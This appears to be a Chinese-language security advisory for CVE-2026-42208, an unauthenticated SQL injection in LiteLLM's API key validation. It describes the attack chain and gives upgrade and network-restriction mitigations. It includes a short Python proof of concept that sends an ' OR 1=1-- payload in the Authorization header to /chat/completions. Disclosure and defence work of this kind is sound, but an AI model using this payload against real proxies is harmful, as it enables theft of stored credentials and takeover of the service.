IPBUF安全漏洞报告
English
CVE-2026-42208 CVSS 9.8 严重

CVE-2026-42208 LiteLLM SQL注入漏洞

披露日期: 2026-05-08

漏洞信息

漏洞编号
CVE-2026-42208
漏洞类型
SQL注入
CVSS评分
9.8 严重
攻击向量
网络 (AV:N)
认证要求
无需认证 (PR:N)
用户交互
无需交互 (UI:N)
影响产品
LiteLLM

相关标签

SQL注入LiteLLM未授权访问RCEAI安全

漏洞概述

LiteLLM在1.81.16至1.83.7之前的版本中存在SQL注入漏洞。由于在API密钥验证时将用户输入直接拼接到数据库查询语句中,未经身份验证的攻击者可利用特制的Authorization头部触发漏洞,从而读取或修改数据库数据,导致未授权访问代理及其管理的凭证。

技术细节

该漏洞源于LiteLLM在处理代理API密钥检查时的不安全编码实践。程序在构建数据库查询时,未使用参数化查询,而是直接将HTTP Authorization头部中的调用方提供的密钥值混合到SQL查询文本中。攻击者无需认证即可向LLM API路由(如POST /chat/completions)发送包含恶意SQL代码的请求。该请求通过代理的错误处理路径执行恶意SQL语句,允许攻击者从数据库中提取敏感信息(如其他用户的API密钥)或修改数据库内容,进而接管代理服务并窃取管理的所有凭据。

攻击链分析

STEP 1
步骤1:信息收集
攻击者识别目标环境运行的是存在漏洞的LiteLLM版本(1.81.16至1.83.7之前)。
STEP 2
步骤2:构造Payload
攻击者构造包含恶意SQL语句的Authorization头部,利用字符串拼接破坏原有SQL逻辑。
STEP 3
步骤3:发送恶意请求
攻击者向LLM API端点(如/chat/completions)发送POST请求,触发代理的错误处理路径。
STEP 4
步骤4:执行SQL注入
后端数据库解析并执行被注入的恶意SQL代码,导致数据泄露或被篡改。
STEP 5
步骤5:获取权限
攻击者利用泄露的凭证或修改后的数据,获得代理服务器的未授权访问权限。

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
import requests # Target URL (Example) target_url = "http://localhost:4000/chat/completions" # Malicious SQL Injection payload in the Authorization header # Attempting to bypass logic or extract data via error-based injection payload = "' OR 1=1-- " headers = { "Content-Type": "application/json", "Authorization": f"Bearer {payload}" } data = { "model": "gpt-3.5-turbo", "messages": [{"role": "user", "content": "Hello"}] } try: response = requests.post(target_url, headers=headers, json=data, timeout=5) print(f"Status Code: {response.status_code}") print(f"Response Body: {response.text}") except Exception as e: print(f"Request failed: {e}")

影响范围

LiteLLM >= 1.81.16
LiteLLM < 1.83.7

防御指南

临时缓解措施
建议立即将LiteLLM组件升级至1.83.7或更高版本以修复此漏洞。如果无法立即升级,应通过防火墙或网络策略严格限制对LiteLLM代理端口的访问,仅允许可信IP连接,并监控异常的数据库查询活动。

参考链接